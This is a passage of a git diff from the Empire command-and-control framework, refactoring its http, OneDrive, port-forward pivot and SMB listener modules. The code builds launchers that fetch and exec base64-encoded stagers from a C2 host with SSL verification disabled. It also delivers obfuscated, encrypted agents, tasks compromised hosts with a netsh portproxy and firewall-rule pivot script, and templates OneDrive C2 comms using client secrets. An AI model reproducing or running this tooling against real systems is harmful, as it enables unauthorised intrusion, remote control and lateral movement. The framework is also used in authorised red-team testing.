copy.deepcopy( + listenerOptions ) - agentCode = self.generate_agent( - language=language, - listenerOptions=( - tempListenerOptions - if tempListenerOptions - else listenerOptions - ), - obfuscate=( - False - if not obf_config - else obf_config.enabled - ), - obfuscation_command=( - "" - if not obf_config - else obf_config.command - ), - version=version, + tempListenerOptions["Host"]["Value"] = ( + hopListener["Host"]["Value"] ) + except TypeError: + tempListenerOptions = listenerOptions + + session_info = ( + SessionLocal() + .query(models.Agent) + .filter(models.Agent.session_id == sessionID) + .first() + ) + if session_info.language == "ironpython": + version = "ironpython" + else: + version = "" - if language.lower() in ["python", "ironpython"]: - sessionKey = bytes.fromhex(sessionKey) - - encryptedAgent = ( - encryption.aes_encrypt_then_hmac( - sessionKey, agentCode - ) - ) - - # build malleable response with agent - # note: stage1 comms are hard coded, can't use malleable here. - return Response( - encryptedAgent, - 200, - implementation.server.headers, - ) - - elif results[:10].lower().startswith( - b"error" - ) or results[:10].lower().startswith(b"exception"): - # agent returned an error - message = f"{listenerName}: Error returned for results by {clientIP} : {results}" - self.instance_log.error(message) - log.error(message) - - return Response(self.default_response(), 404) - - elif results.startswith(b"ERROR:"): - # error parsing agent data - message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" - self.instance_log.error(message) - log.error(message) - - if b"not in cache" in results: - # signal the client to restage - log.info( - f"{listenerName} Orphaned agent from {clientIP}, signaling restaging" - ) - return make_response("", 401) - - return Response(self.default_response(), 404) - - elif results == b"VALID": - # agent posted results - message = f"{listenerName} Valid results returned by {clientIP}" - self.instance_log.info(message) - - malleableResponse = ( - implementation.construct_server("") - ) + # generate agent + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + agentCode = self.generate_agent( + language=language, + listenerOptions=( + tempListenerOptions + if tempListenerOptions + else listenerOptions + ), + obfuscate=( + False + if not obf_config + else obf_config.enabled + ), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + version=version, + ) - if "Server" in malleableResponse.headers: - WSGIRequestHandler.server_version = ( - malleableResponse.headers["Server"] - ) - WSGIRequestHandler.sys_version = "" - - return Response( - malleableResponse.body, - malleableResponse.code, - malleableResponse.headers, - ) - - elif request.method == b"POST": - # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - - message = f"{listenerName}: Sending session key to {clientIP}" - self.instance_log.info(message) - log.info(message) - - # note: stage 1 negotiation comms are hard coded, so we can't use malleable - return Response( - results, - 200, - implementation.server.headers, - ) - - else: - # agent requested taskings - message = f"{listenerName}: Agent from {clientIP} retrieved taskings" - self.instance_log.info(message) - - # build malleable response with results - malleableResponse = ( - implementation.construct_server(results) - ) - if isinstance(malleableResponse.body, str): - malleableResponse.body = ( - malleableResponse.body.encode("latin-1") - ) + if language.lower() in ["python", "ironpython"]: + sessionKey = bytes.fromhex(sessionKey) + + encryptedAgent = encryption.aes_encrypt_then_hmac( + sessionKey, agentCode + ) + + # build malleable response with agent + # note: stage1 comms are hard coded, can't use malleable here. + return Response( + encryptedAgent, + 200, + implementation.server.headers, + ) + + if results[:10].lower().startswith(b"error") or results[ + :10 + ].lower().startswith(b"exception"): + # agent returned an error + message = f"{listenerName}: Error returned for results by {clientIP} : {results}" + self.instance_log.error(message) + log.error(message) + + return Response(self.default_response(), 404) + + if results.startswith(b"ERROR:"): + # error parsing agent data + message = f"{listenerName}: Error from agents.handle_agent_data() for {request_uri} from {clientIP}: {results}" + self.instance_log.error(message) + log.error(message) + + if b"not in cache" in results: + # signal the client to restage + log.info( + f"{listenerName} Orphaned agent from {clientIP}, signaling restaging" + ) + return make_response("", 401) - if "Server" in malleableResponse.headers: - WSGIRequestHandler.server_version = ( - malleableResponse.headers["Server"] - ) - WSGIRequestHandler.sys_version = "" + return Response(self.default_response(), 404) - return Response( - malleableResponse.body, - malleableResponse.code, - malleableResponse.headers, - ) + if results == b"VALID": + # agent posted results + message = f"{listenerName} Valid results returned by {clientIP}" + self.instance_log.info(message) - else: - # no tasking for agent - message = f"{listenerName}: Agent from {clientIP} retrieved taskings" - self.instance_log.info(message) + malleableResponse = implementation.construct_server("") - # build malleable response with no results - malleableResponse = implementation.construct_server( - results + if "Server" in malleableResponse.headers: + WSGIRequestHandler.server_version = ( + malleableResponse.headers["Server"] ) + WSGIRequestHandler.sys_version = "" + + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) + + if request.method == b"POST": + # step 4 of negotiation -> server returns RSA(nonce+AESsession)) + + message = ( + f"{listenerName}: Sending session key to {clientIP}" + ) + self.instance_log.info(message) + log.info(message) + + # note: stage 1 negotiation comms are hard coded, so we can't use malleable + return Response( + results, + 200, + implementation.server.headers, + ) + + # agent requested taskings + message = f"{listenerName}: Agent from {clientIP} retrieved taskings" + self.instance_log.info(message) + + # build malleable response with results + malleableResponse = implementation.construct_server(results) + if isinstance(malleableResponse.body, str): + malleableResponse.body = malleableResponse.body.encode( + "latin-1" + ) + + if "Server" in malleableResponse.headers: + WSGIRequestHandler.server_version = ( + malleableResponse.headers["Server"] + ) + WSGIRequestHandler.sys_version = "" + + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) - if "Server" in malleableResponse.headers: - WSGIRequestHandler.server_version = ( - malleableResponse.headers["Server"] - ) - WSGIRequestHandler.sys_version = "" + # no tasking for agent + message = ( + f"{listenerName}: Agent from {clientIP} retrieved taskings" + ) + self.instance_log.info(message) - return Response( - malleableResponse.body, - malleableResponse.code, - malleableResponse.headers, - ) - else: - # log error parsing routing packet - message = f"{listenerName} Error parsing routing packet from {clientIP}: {agentInfo!s}." - self.instance_log.error(message) - log.error(message) + # build malleable response with no results + malleableResponse = implementation.construct_server(results) + + if "Server" in malleableResponse.headers: + WSGIRequestHandler.server_version = ( + malleableResponse.headers["Server"] + ) + WSGIRequestHandler.sys_version = "" - # log invalid request - message = f"/{request_uri} requested by {clientIP} with no routing packet." - self.instance_log.error(message) + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) - else: - # log invalid uri - message = f"{listenerName}: unknown uri /{request_uri} requested by {clientIP}." - self.instance_log.warning(message) + # log invalid request + message = ( + f"/{request_uri} requested by {clientIP} with no routing packet." + ) + self.instance_log.error(message) except malleable.MalleableError as e: # probably an issue with the malleable library, please report it :) diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 02432f1b4..8db04e4e4 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -286,8 +286,7 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(launcher, launcher_cmd) - else: - return launcher + return launcher if language.startswith("pyth"): log.error( @@ -362,18 +361,16 @@ def generate_stager( if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) staging_key = staging_key.encode("UTF-8") return RC4IV + encryption.rc4( RC4IV + staging_key, stager.encode("UTF-8") ) - else: - return stager + return stager - else: - log.error("Python agent not available for Onedrive") - return None + log.error("Python agent not available for Onedrive") + return None def generate_comms( self, @@ -388,38 +385,37 @@ def generate_comms( redirect_uri = listener_options["RedirectURI"]["Value"] taskings_folder = listener_options["TaskingsFolder"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - - eng = templating.TemplateEngine(template_path) - template = eng.get_template("onedrive/comms.ps1") - - template_options = { - "token:": self.token, - "refresh_token": refresh_token, - "client_id": client_id, - "client_secret": client_secret, - "redirect_uri": redirect_uri, - "base_folder": base_folder, - "results_folder": results_folder, - "taskings_folder": taskings_folder, - } - - return template.render(template_options) - - else: - log.error( - "listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." - ) - return None - else: + if not language: log.error("listeners/onedrive generate_comms(): no language specified!") return None + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + + eng = templating.TemplateEngine(template_path) + template = eng.get_template("onedrive/comms.ps1") + + template_options = { + "token:": self.token, + "refresh_token": refresh_token, + "client_id": client_id, + "client_secret": client_secret, + "redirect_uri": redirect_uri, + "base_folder": base_folder, + "results_folder": results_folder, + "taskings_folder": taskings_folder, + } + + return template.render(template_options) + + log.error( + "listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." + ) + return None + def generate_agent( self, listener_options, @@ -694,7 +690,7 @@ def upload_stager(): upload_stager() upload_launcher() break - else: + else: # noqa: RET508 time.sleep(1) except AttributeError: time.sleep(1) diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 7ad8e5083..8425e10fb 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -242,9 +242,8 @@ def generate_launcher( (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + # otherwise return the case-randomized stager + return stager if language.startswith("py"): # Python @@ -350,8 +349,7 @@ def generate_launcher( "UTF-8" ) return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - else: - return launcherBase + return launcherBase if language.startswith("csh"): workingHours = listenerOptions["WorkingHours"]["Value"] @@ -381,16 +379,13 @@ def generate_launcher( f"{listenerName} csharpserver plugin not running" ) return None - else: - return compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) - else: - log.error( - "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." - ) - return None + return compiler.do_send_stager(stager_yaml, "Sharpire", confuse=obfuscate) + + log.error( + "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) + return None def generate_stager( self, @@ -472,13 +467,12 @@ def generate_stager( # base64 encode the stager and return it if encode: return helpers.enc_powershell(stager) - elif encrypt: + if encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) - else: - return stager + return stager - elif language.lower() == "python": + if language.lower() == "python": template_path = [ os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), @@ -510,15 +504,14 @@ def generate_stager( # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) - else: - # otherwise return the standard stager - return stager - else: - log.error( - "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + # otherwise return the standard stager + return stager + + log.error( + "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_agent( self, @@ -579,7 +572,7 @@ def generate_agent( return code - elif language == "python": + if language == "python": if version == "ironpython": f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" else: @@ -613,14 +606,14 @@ def generate_agent( code = self.mainMenu.obfuscationv2.python_obfuscate(code) code = self.mainMenu.obfuscationv2.obfuscate_keywords(code) return code - elif language == "csharp": + if language == "csharp": # currently the agent is stageless so do nothing return "" - else: - log.error( - "listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None + + log.error( + "listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -631,46 +624,45 @@ def generate_comms(self, listenerOptions, language=None): """ host = listenerOptions["Host"]["Value"] - if language: - if language.lower() == "powershell": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] + if not language: + log.error("listeners/http generate_comms(): no language specified!") + return None - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/http.ps1") + if language.lower() == "powershell": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/http.ps1") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - elif language.lower() == "python": - template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), - ] - eng = templating.TemplateEngine(template_path) - template = eng.get_template("http/comms.py") + return template.render(template_options) - template_options = { - "session_cookie": self.session_cookie, - "host": host, - } + if language.lower() == "python": + template_path = [ + os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), + os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + ] + eng = templating.TemplateEngine(template_path) + template = eng.get_template("http/comms.py") - return template.render(template_options) + template_options = { + "session_cookie": self.session_cookie, + "host": host, + } - else: - log.error( - "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." - ) - return None - else: - log.error("listeners/http generate_comms(): no language specified!") - return None + return template.render(template_options) + + log.error( + "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def start(self): """ @@ -700,51 +692,196 @@ def start(self): return False # validate that the Listener does exist - if self.mainMenu.listenersv2.get_active_listener_by_name(listenerName): - # check if a listener for the agent already exists - - if self.mainMenu.listenersv2.get_active_listener_by_name( - tempOptions["Name"]["Value"] - ): - log.error( - f"{listenerName}: Pivot listener already exists on agent {tempOptions['Name']['Value']}" - ) - return False - - session_id = agent.session_id - self.options["Agent"] = tempOptions["Agent"] - if agent and agent.high_integrity: - if agent.language.lower() in ["powershell", "csharp"]: - # logic for powershell agents - script = """ - function Invoke-Redirector { - param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - if($ShowAll){ - $out = netsh interface portproxy show all - if($out){ - $out + if not self.mainMenu.listenersv2.get_active_listener_by_name( + listenerName + ): + log.error(f"{listenerName}: Listener does not exist") + return False + + # check if a listener for the agent already exists + if self.mainMenu.listenersv2.get_active_listener_by_name( + tempOptions["Name"]["Value"] + ): + log.error( + f"{listenerName}: Pivot listener already exists on agent {tempOptions['Name']['Value']}" + ) + return False + + session_id = agent.session_id + self.options["Agent"] = tempOptions["Agent"] + if not agent or not agent.high_integrity: + log.error("Agent must be elevated to run a port forward pivot") + return False + + if agent.language.lower() in ["powershell", "csharp"]: + # logic for powershell agents + script = """ + function Invoke-Redirector { + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) + if($ShowAll){ + $out = netsh interface portproxy show all + if($out){ + $out + } + else{ + "[*] no redirectors currently configured" + } + } + elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" + $out = netsh interface portproxy reset + if($out){ + $out + } + else{ + "[+] successfully removed all redirectors" + } + } + else{ + if((-not $ListenPort)){ + "[!] netsh error: required option not specified" + } + else{ + $ConnectAddress = "" + $ConnectPort = "" + + $parts = $ConnectHost -split(":") + if($parts.Length -eq 2){ + # if the form is http[s]://HOST or HOST:PORT + if($parts[0].StartsWith("http")){ + $ConnectAddress = $parts[1] -replace "//","" + if($parts[0] -eq "https"){ + $ConnectPort = "443" + } + else{ + $ConnectPort = "80" + } } else{ - "[*] no redirectors currently configured" + $ConnectAddress = $parts[0] + $ConnectPort = $parts[1] } } - elseif($Reset){ - Netsh.exe advfirewall firewall del rule name="$FirewallName" - $out = netsh interface portproxy reset + elseif($parts.Length -eq 3){ + # if the form is http[s]://HOST:PORT + $ConnectAddress = $parts[1] -replace "//","" + $ConnectPort = $parts[2] + } + if($ConnectPort -ne ""){ + Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes + $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } else{ - "[+] successfully removed all redirectors" + "[+] successfully added redirector on port $ListenPort to $ConnectHost" } } else{ - if((-not $ListenPort)){ - "[!] netsh error: required option not specified" - } - else{ - $ConnectAddress = "" - $ConnectPort = "" + "[!] netsh error: host not in http[s]://HOST:[PORT] format" + } + } + } + } + Invoke-Redirector""" + + script += " -ConnectHost {}".format(self.options["Host"]["Value"]) + script += " -ConnectPort {}".format(self.options["Port"]["Value"]) + script += " -ListenAddress {}".format( + tempOptions["internalIP"]["Value"] + ) + script += " -ListenPort {}".format( + tempOptions["ListenPort"]["Value"] + ) + script += f" -FirewallName {session_id}" + + for option in self.options: + if option.lower() == "host": + if self.options[option]["Value"].startswith("https://"): + host = "https://{}:{}".format( + tempOptions["internalIP"]["Value"], + tempOptions["ListenPort"]["Value"], + ) + self.options[option]["Value"] = host + else: + host = "http://{}:{}".format( + tempOptions["internalIP"]["Value"], + tempOptions["ListenPort"]["Value"], + ) + self.options[option]["Value"] = host + + # check to see if there was a host value at all + if "Host" not in list(self.options.keys()): + self.options["Host"]["Value"] = host + + self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) + + msg = "Tasked agent to install Pivot listener " + self.mainMenu.agents.save_agent_log( + tempOptions["Agent"]["Value"], msg + ) + + return True + + if agent.language.lower() == "python": + # not implemented + script = """ + """ + + log.error("Python pivot listener not implemented") + return False + + log.error("Unable to determine the language for the agent") + except Exception: + log.error(f'Listener "{name}" failed to start') + return False + + def shutdown(self): + """ + If a server component was started, implement the logic that kills the particular + named listener here. + """ + name = self.options["Name"]["Value"] + self.instance_log.info(f"{name}: shutting down...") + log.info(f"{name}: shutting down...") + + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_name(db, name) + + if not agent or not agent.high_integrity: + log.error("Agent is not present in the cache or not elevated") + return + + if agent.language.startswith("po"): + script = """ + function Invoke-Redirector { + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) + if($ShowAll){ + $out = netsh interface portproxy show all + if($out){ + $out + } + else{ + "[*] no redirectors currently configured" + } + } + elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" + $out = netsh interface portproxy reset + if($out){ + $out + } + else{ + "[+] successfully removed all redirectors" + } + } + else{ + if((-not $ListenPort)){ + "[!] netsh error: required option not specified" + } + else{ + $ConnectAddress = "" + $ConnectPort = "" $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ @@ -786,163 +923,12 @@ def start(self): } Invoke-Redirector""" - script += " -ConnectHost {}".format( - self.options["Host"]["Value"] - ) - script += " -ConnectPort {}".format( - self.options["Port"]["Value"] - ) - script += " -ListenAddress {}".format( - tempOptions["internalIP"]["Value"] - ) - script += " -ListenPort {}".format( - tempOptions["ListenPort"]["Value"] - ) - script += f" -FirewallName {session_id}" - - for option in self.options: - if option.lower() == "host": - if self.options[option]["Value"].startswith( - "https://" - ): - host = "https://{}:{}".format( - tempOptions["internalIP"]["Value"], - tempOptions["ListenPort"]["Value"], - ) - self.options[option]["Value"] = host - else: - host = "http://{}:{}".format( - tempOptions["internalIP"]["Value"], - tempOptions["ListenPort"]["Value"], - ) - self.options[option]["Value"] = host - - # check to see if there was a host value at all - if "Host" not in list(self.options.keys()): - self.options["Host"]["Value"] = host - - self.mainMenu.agenttasksv2.create_task_shell( - db, agent, script - ) - - msg = "Tasked agent to install Pivot listener " - self.mainMenu.agents.save_agent_log( - tempOptions["Agent"]["Value"], msg - ) - - return True - - elif agent.language.lower() == "python": - # not implemented - script = """ - """ - - log.error("Python pivot listener not implemented") - return False - - else: - log.error("Unable to determine the language for the agent") - else: - log.error("Agent must be elevated to run a port forward pivot") - return False - except Exception: - log.error(f'Listener "{name}" failed to start') - return False - - def shutdown(self): - """ - If a server component was started, implement the logic that kills the particular - named listener here. - """ - name = self.options["Name"]["Value"] - self.instance_log.info(f"{name}: shutting down...") - log.info(f"{name}: shutting down...") - - with SessionLocal() as db: - agent = self.mainMenu.agentsv2.get_by_name(db, name) + script += " -Reset" + script += f" -FirewallName {agent.session_id}" - if not agent: - log.error("Agent is not present in the cache or not elevated") - return - - if agent.high_integrity: - if agent.language.startswith("po"): - script = """ - function Invoke-Redirector { - param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - if($ShowAll){ - $out = netsh interface portproxy show all - if($out){ - $out - } - else{ - "[*] no redirectors currently configured" - } - } - elseif($Reset){ - Netsh.exe advfirewall firewall del rule name="$FirewallName" - $out = netsh interface portproxy reset - if($out){ - $out - } - else{ - "[+] successfully removed all redirectors" - } - } - else{ - if((-not $ListenPort)){ - "[!] netsh error: required option not specified" - } - else{ - $ConnectAddress = "" - $ConnectPort = "" - - $parts = $ConnectHost -split(":") - if($parts.Length -eq 2){ - # if the form is http[s]://HOST or HOST:PORT - if($parts[0].StartsWith("http")){ - $ConnectAddress = $parts[1] -replace "//","" - if($parts[0] -eq "https"){ - $ConnectPort = "443" - } - else{ - $ConnectPort = "80" - } - } - else{ - $ConnectAddress = $parts[0] - $ConnectPort = $parts[1] - } - } - elseif($parts.Length -eq 3){ - # if the form is http[s]://HOST:PORT - $ConnectAddress = $parts[1] -replace "//","" - $ConnectPort = $parts[2] - } - if($ConnectPort -ne ""){ - Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes - $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp - if($out){ - $out - } - else{ - "[+] successfully added redirector on port $ListenPort to $ConnectHost" - } - } - else{ - "[!] netsh error: host not in http[s]://HOST:[PORT] format" - } - } - } - } - Invoke-Redirector""" - - script += " -Reset" - script += f" -FirewallName {agent.session_id}" - - self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) - msg = "Tasked agent to uninstall Pivot listener " - self.mainMenu.agents.save_agent_log(agent.session_id, msg) + self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) + msg = "Tasked agent to uninstall Pivot listener " + self.mainMenu.agents.save_agent_log(agent.session_id, msg) - elif agent.language.startswith("py"): - log.error("Shutdown not implemented for python") + elif agent.language.startswith("py"): + log.error("Shutdown not implemented for python") diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 44ca61485..654e46ae8 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -96,135 +96,130 @@ def generate_launcher( log.error("listeners/template generate_launcher(): no language specified!") return None - if True: - active_listener = self - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = list(profile.split("|")[0].split(",")) - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - if language.startswith("powershell"): - log.error( - "Invalid language specification, only 'ironpython' is current supported for this module." - ) - return None + active_listener = self + listenerOptions = active_listener.options - elif language in ["ironpython"]: - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + host = listenerOptions["Host"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = list(profile.split("|")[0].split(",")) + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" - log.error(p, exc_info=True) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += "import urllib.request;\n" - launcherBase += f"UA='{userAgent}';" - launcherBase += f"server='{host}';t='{stage0}';hop='{listenerName}';" - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + if language.startswith("powershell"): + log.error( + "Invalid language specification, only 'ironpython' is current supported for this module." + ) + return None - launcherBase += "req=urllib.request.Request(server+t);\n" - # add the RC4 packet to a cookie - launcherBase += "req.add_header('User-Agent',UA);\n" - launcherBase += ( - f"req.add_header('Cookie',\"session={b64RoutingPacket}\");\n" - ) - launcherBase += "req.add_header('Hop-Name', hop);\n" - - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) - launcherBase += ( - f'req.add_header("{headerKey}","{headerValue}");\n' - ) + if language in ["ironpython"]: + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {e!s}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += "import urllib.request;\n" + launcherBase += f"UA='{userAgent}';" + launcherBase += f"server='{host}';t='{stage0}';hop='{listenerName}';" + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") + + launcherBase += "req=urllib.request.Request(server+t);\n" + # add the RC4 packet to a cookie + launcherBase += "req.add_header('User-Agent',UA);\n" + launcherBase += ( + f"req.add_header('Cookie',\"session={b64RoutingPacket}\");\n" + ) + launcherBase += "req.add_header('Hop-Name', hop);\n" + + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) + launcherBase += f'req.add_header("{headerKey}","{headerValue}");\n' + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - proto = proxy.Split(":")[0] + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" + "proxy_auth_handler.add_password(None,'" + proxy - + "'});\n" + + "','" + + username + + "','" + + password + + "');\n" ) - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" - else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: - launcherBase += "o = urllib.request.build_opener();\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - else: - return launcherBase - else: - log.error( - "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) - return None + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" + return launcherBase + + log.error( + "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) return None def generate_stager( @@ -266,7 +261,7 @@ def generate_stager( ) return None - elif language.lower() == "python": + if language.lower() == "python": template_path = [ os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), @@ -300,15 +295,13 @@ def generate_stager( return RC4IV + encryption.rc4( RC4IV + stagingKey.encode("UTF-8"), stager.encode("UTF-8") ) - 